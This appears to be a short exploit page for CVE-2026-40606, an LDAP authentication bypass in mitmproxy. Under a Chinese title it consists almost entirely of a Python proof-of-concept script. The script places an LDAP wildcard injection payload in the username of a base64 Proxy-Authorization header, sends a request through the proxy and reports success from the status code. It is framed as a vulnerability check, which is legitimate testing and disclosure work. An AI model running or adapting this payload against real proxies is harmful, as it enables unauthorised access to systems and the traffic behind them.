CVE-2026-40606 mitmproxy LDAP认证绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-40606: mitmproxy LDAP Auth Bypass This script attempts to bypass authentication by injecting LDAP wildcard characters in the username field. """ import requests import base64 def check_vulnerability(target_url, proxy_host, proxy_port): # Configure proxy settings proxies = { "http": f"http://{proxy_host}:{proxy_port}", "https": f"http://{proxy_host}:{proxy_port}" } # Attempt LDAP injection payload (e.g., wildcard) # If the backend constructs a query like (uid={username}), # sending '*' might match all users or bypass specific checks. payload_username = "*)" # Construct Basic Auth Header with payload # Format: base64(username:password) credentials = f"{payload_username}:random_password" b64_auth = base64.b64encode(credentials.encode()).decode() headers = { "Proxy-Authorization": f"Basic {b64_auth}" } try: print(f"[*] Sending request to {target_url} via proxy...") response = requests.get(target_url, proxies=proxies, headers=headers, timeout=10) # If we get a 200 OK or a proxy response that indicates success, bypass might work if response.status_code == 200: print("[+] Potential bypass successful! Request allowed.") elif response.status_code == 407: print("[-] Authentication required. Bypass failed.") else: print(f"[?] Received status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage check_vulnerability("http://example.com", "127.0.0.1", 8080)